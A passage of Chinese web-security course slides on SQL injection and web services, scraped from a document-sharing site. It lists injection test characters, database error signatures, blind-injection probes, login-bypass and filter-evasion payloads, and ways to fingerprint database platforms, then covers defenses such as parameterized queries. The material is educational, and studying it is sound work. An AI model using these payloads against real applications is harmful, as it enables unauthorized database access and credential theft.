”或者“没有找到用户名”这样的响应,应用程序login.php处理从数据库返回的响应。SQL(StructuredQueryLanguage)结构化查询语言SQL语法:查询由一个分号结束字符串由单引号表示括号可以用在一组逻辑标准中SQL举例:SELECT*FROMUserTableWHEREFirstName=‘Mike’AND(c=dORe=f);7.2发现SQL注入SQL注入可以由影响数据库查询的任何应用程序参数产生URL参数POST数据Cookie值最简单的方法是在参数值后面添加一些非法或者不期望的字符,观察应用程序是否会响应错误信息应用程序不阻止来自数据库的任何错误信息-语法分析有效应用程序阻止来自数据库的任何错误信息-语义分析有效7.2发现SQL注入不正确的语法造成一个错误,错误会传回到用户的Web浏览器中7.2发现SQL注入单引号不是能够破坏查询语法的唯一字符字符和SQL关系‘单引号。用来分割字符串。一个不匹配的单引号会引起错误;结束一个语句、提前结束查询会产生一个错误/*注释分隔符。注释分隔符内的文字会被忽略--%20可以用来提前终止一个查询()园括号。用来组合逻辑子句。不匹配的括号会产生一个错误A如果用在数字比较中,任何字母字符都可以产生一个错误识别SQL注入常见字符平台错误字符串提示ODBC,ASPMicrosoftOLEDBProviderforodbcDriverserror‘80040e21’ODBC,C#[Microsoft][ODBCSQLServerDriver][SQLServer]Unclosedquotationmark.NETStackTrace:[SqlExecption(0x80131904):Oracle,JDBCSQLException:Ora-01722:invalidnumberCodeFusionInvaliddataforCFSQLTYPEMySQL,PHPWaring:mysql_errno():suppliedargumentisnotavalidMySQLPostgreSQL,PerlWaring:PostgreSQLqueryfailed:常见数据库错误消息7.2发现SQL注入语义分析即使不会收到错误信息,也不能确定不会受到SQL注入攻击管理员可能对服务器进行设置,遇到错误时,以一个默认的页面做为响应。攻击方法:语义分析盲注例子:http://website/brose.cgi?catalog=17http://website/brose.cgi?catalog=10%2b7http://website/brose.cgi?catalog=MOD(17,18)http://website/brose.cgi?catalog=0x11缺陷:字符串带来的挑战,仅在未过滤单引号下有效foo’%3b’bar’=foobar(MicrosoftSQLServer下的字符串串联)foo’||’bar’=foobar(Oracle的字符串串联)如果存在过滤验证,可考虑替换字符编码SELECT/**/colunm/**/FROM/**/table/**/WHERE/**/clauseSELECT(SPACE(1))colunm(SPACE(1))FROM(SPACE(1))table(SPACE(1))WHERE(SPACE(1))clause7.3利用SQL注入漏洞SQL提供了丰富的函数组,数据库平台又扩展了SQL标准,所以先讨论适合所有数据库的技术,然后研究如何利用主流数据库平台的一些SQL扩展。通用技术验证用户名/密码的一般做法SELECTCOUNT(ID)FROMUserTableWHEREUserId=‘’ANDPassword=‘’登录名Mike’--%20修改后SELECTCOUNT(ID)FROMUserTableWHEREUserId=‘mike’--’ANDPassword=‘’载荷描述/*剩余的查询部分做为注释‘*/--将查询的剩余部分做为注释(替换符号)‘--OR1=1试图强制生成TRUE条件用来修改查询的字符7.3利用SQL注入漏洞查询替换数据数据库包含了应用程序的核心,攻击者可以从数据库中获得所有人的证书探测方法:基于语义,如:SELECTpriceFROMProductsWHEREProductId=5426AND1=1使用子查询联合平台相关MicrosoftAccess数据库通过相关字段识别:MSysACEsMSysObjectsMSysAccessObjectsMSysQueriesMSysAccessXMLMicrosoftSQLServer7.3利用SQL注入漏洞平台相关MicrosoftSQLServer确认方法:通过变量识别SELECT@@variable一些变量7.3利用SQL注入漏洞平台相关MySQL确认方法:嵌入到注释内的SQL语句可以被执行/*!32300SELECTuserFROMmysql.user*/Oracle7.4防范输入验证丢弃字符,如”’”思考:O’Berry是不是正常的字符串?拒绝字符,如E-Mail中是不包含括号的使用正确的数据类型让错误发生在应用,而不是数据库中把查询数据从查询逻辑中分离出来大多数数据库和程序语言都提供了相关函数,允许开发者静态定义查询逻辑,并把数据放到正确的位置上。编程语言中,使用边界参数(boundparameters)或参数化查询(parameterizedqueries)方法来完成数据库中,通过存储过程(storedprocedure)或用户自定义的函数(user-definedfunction)来完成7.4防范数据库加密表级别的加密保护数据字段级别的加密保护信息数据库配置第七节攻击Web数据存储Web应用攻击的基础知识剖析攻击Web平台攻击Web认证攻击Web授权输入验证攻击攻击Web数据存储攻击XMLWeb服务攻击Web应用管理攻击Web客户端拒绝服务攻击充分认知分析什么是Web服务攻击Web服务攻击XMLWeb服务Web服务平台提供了在组织内部、跨企业和跨Internet连接,一个松散耦合的、与语言无关的、不依赖于平台的方法设计完美应用程序间通信的协议的尝试RPC、DCOM、CORBA8.1什么是Web服务Web服务是一个独立的软件组件,这些组件完成特定的功能,并能够把关于它自己能力的信息发布给网络上的其他组件Web服务基于一组高级的,日趋完善的Internet标准,包括:WSDL(WebServiceDefinitionLanguage)容易造成信息泄露UDDI(UniversalDescription,Discovery,andIntegration)私有UDDI访问公有UDDI的中间人攻击SOAP(SimpleObjectAccessProtocol)SOAP攻击工具:WebServiceStudioWSDiggerSoapCWeb服务只是HTTP上的XML,任何HTTP操纵工具都可以对其奏效第九节攻击Web应用管理Web应用攻击的基础知识剖析攻击Web

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论